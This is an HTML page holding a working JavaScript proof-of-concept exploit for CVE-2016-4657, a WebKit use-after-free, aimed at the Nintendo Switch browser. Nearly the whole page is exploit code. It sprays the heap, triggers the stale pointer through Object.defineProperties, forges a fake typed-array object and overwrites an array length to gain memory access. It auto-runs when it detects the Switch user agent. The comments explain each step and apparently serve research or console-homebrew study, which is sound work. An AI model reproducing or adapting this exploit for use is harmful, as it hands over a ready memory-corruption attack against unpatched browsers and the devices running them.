Permalink
| <!doctype html> | |
| <html> | |
| <head> | |
| <title>CVE-2016-4657 Switch PoC</title> | |
| <style> | |
| body {font-size: 2em;} | |
| a {text-decoration: none; color: #000;} | |
| a:hover {color: #f00; font-weight: bold;} | |
| </style> | |
| </head> | |
| <body> | |
| <h1>CVE-2016-4657 Nintendo Switch PoC</h1> | |
| <ul> | |
| <li><a href='javascript:go();'>π₯ go!</a></li> | |
| <li><a href='javascript:document.location.reload();'>π reload</a></li> | |
| </ul> | |
| <div id='status'>π΄ waiting... click go.</div> | |
| <script> | |
| // display JS errors as alerts. Helps debugging. | |
| window.onerror = function(error, url, line) { | |
| alert(error+' URL:'+url+' L:'+line); | |
| }; | |
| </script> | |
| <script> | |
| // based on jbme.qwertyoruiop.com | |
| // Thanks to: | |
| // + qwertyoruiop | |
| // + Retr0id | |
| // + Ando | |
| // | |
| // saelo's phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html | |
| // garbage collection stuff | |
| var pressure = new Array(100); | |
| // do garbage collect | |
| dgc = function() { | |
| for (var i = 0; i < pressure.length; i++) { | |
| pressure[i] = new Uint32Array(0x10000); | |
| } | |
| for (var i = 0; i < pressure.length; i++) { | |
| pressure[i] = 0; | |
| } | |
| } | |
| // access to the overlapping Uint32Array | |
| var bufs = new Array(0x1000); | |
| // we will modify the vector of this | |
| var smash = new Uint32Array(0x10); | |
| // the array with the stale pointer | |
| var stale = 0; | |
| var _dview = null; | |
| // write 2x 32bit in a DataView and get the Float representation of it | |
| function u2d(low, hi) { | |
| if (!_dview) _dview = new DataView(new ArrayBuffer(16)); | |
| _dview.setUint32(0, hi); | |
| _dview.setUint32(4, low); | |
| return _dview.getFloat64(0); | |
| } | |
| function go_() { | |
| // check if the length of the array smash changed already. if yes, bail out. | |
| if (smash.length != 0x10) return; | |
| // garbage collect | |
| dgc(); | |
| // new array with 0x100 elements | |
| var arr = new Array(0x100); | |
| // new array buffer of length 0x1000 | |
| var yolo = new ArrayBuffer(0x1000); | |
| // populate the arr with pointer to yolo and a number. not quite sure why. | |
| arr[0] = yolo; | |
| arr[1] = 0x13371337; | |
| // create an object whos toString function returns number 10 and messes with arr. | |
| var not_number = {}; | |
| not_number.toString = function() { | |
| arr = null; | |
| props["stale"]["value"] = null; | |
| // if bufs is already overlapping memory, bail out. | |
| if (bufs[0]) return 10; | |
| // really make sure garbage is collected | |
| // the array pointed at by arr should be gone now. | |
| for (var i = 0; i < 20; i++) { | |
| dgc(); | |
| } | |
| // for the whole buf Array | |
| for (i = 0; i < bufs.length; i++) { | |
| // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier | |
| bufs[i] = new Uint32Array(0x100 * 2) | |
| // for each element of that array | |
| for (k = 0; k < bufs[i].length;) { | |
| // set memory to 0x41414141 0xffff0000 | |
| // basically spraying the JSValue 0xffff000041414141 | |
| // which is the Integer 0x41414141 | |
| // phrack: Integer FFFF:0000:IIII:IIII | |
| bufs[i][k++] = 0x41414141; | |
| bufs[i][k++] = 0xffff0000; | |
| } | |
| } | |
| return 10; | |
| }; | |
| // define a new object with some properties | |
| var props = { | |
| p0: { value: 0 }, | |
| p1: { value: 1 }, | |
| p2: { value: 2 }, | |
| p3: { value: 3 }, | |
| p4: { value: 4 }, | |
| p5: { value: 5 }, | |
| p6: { value: 6 }, | |
| p7: { value: 7 }, | |
| p8: { value: 8 }, | |
| // the length of this object is set to this object that does evil stuff with toString() | |
| length: { value: not_number }, | |
| // the reference to the arr array. Which will later be freed. | |
| stale: { value: arr }, | |
| after: { value: 666 } | |
| }; | |
| // define a new target array | |
| var target = []; | |
| // TRIGGER BUG! | |
| // set the properties of the target based on the previously defined ones | |
| Object.defineProperties(target, props); | |
| // get a reference to the target stale property, which points to arr | |
| stale = target.stale; | |
| // make sure that the stale[0] points actually to the 0x41414141 data if not, we don't wanna mess with it and try again | |
| if(stale[0]==0x41414141) { | |
| // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242 | |
| stale[0] += 0x101; | |
| //stale[0] = 0x41414242; | |
| //document.getElementById('status').innerText = 'bug done.'; | |
| // searching the whole memory that is overlaying the old arr. Looking for 0x41414242 | |
| for (i = 0; i < bufs.length; i++) { | |
| for (k = 0; k < bufs[0].length; k++) { | |
| // Found the value! bufs[i][k] point now at the same memory as stale[0] | |
| if (bufs[i][k] == 0x41414242) { | |
| alert('Overlapping Arrays found at bufs['+i+']['+k+']\nsmash.length is still: 0x'+smash.length.toString(16)); | |
| // create a new object. Will look kinda like this: | |
| // 0x0100150000000136 0x0000000000000000 <- fictional value | |
| // 0x0000000000000064 0x0000000000000000 <- ['a'],['b'] | |
| // 0x???????????????? 0x0000000000000100 <- ['c'],['d'] | |
| stale[0] = { | |
| 'a': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array | |
| 'b': u2d(0, 0), | |
| 'c': smash, // var pointing at the struct of a Uint32Array(0x10) | |
| 'd': u2d(0x100, 0) | |
| } | |
| alert('created the JSObject.\nstale[0] = '+stale[0]); | |
| // remember the original stale pointer, pointing at the object with the a,b,c,d properties | |
| stale[1] = stale[0]; | |
| // now add 0x10 to the pointer of stale[0], which points now in the middle of the object. | |
| bufs[i][k] += 0x10; | |
| // check the type of stale[0]. | |
| // removed the loop because it makes the exploit sooooooo unreliable | |
| // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html) | |
| /*while(!(stale[0] instanceof Uint32Array)) { | |
| // if stale[0] is not a Uint32Array yet, increment the structureID guess | |
| structureID++; | |
| // assign the next structureID to the original object still referenced by stale[1] | |
| stale[1]['a'] = u2d(structureID, 0); | |
| }*/ | |
| // Give some information. stale[0] should now be a Uint32Array | |
| alert('misaligned the pointer to the JSObject.\nstale[0] = '+stale[0]+''); | |
| // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array | |
| // which should point to the struct of smash, allowing us to overwrite the length of smash | |
| stale[0][6] = 0x1337; | |
| // check the length of smash is now. | |
| alert('smash.length is now: 0x'+smash.length.toString(16)); | |
| alert('done!\nswitch will probably crash now :O'); | |
| return; | |
| } | |
| } | |
| } | |
| } | |
| document.getElementById('status').innerText = 'π© fail. refresh the page and try again...'; | |
| setTimeout(function() {document.location.reload();}, 1000); | |
| } | |
| function go() { | |
| document.getElementById('status').innerText = 'π₯π₯π₯ go! π₯π₯π₯'; | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| setTimeout(go_, 500); | |
| } | |
| // if Switch browser is detected, auto start exploit | |
| if(navigator.userAgent.indexOf('Nintendo Switch')>-1) { | |
| document.getElementById('status').innerText = 'Found Nintendo Switch! π€'; | |
| setTimeout(go, 2000); | |
| } | |
| </script> | |
| </body> | |
| </html> |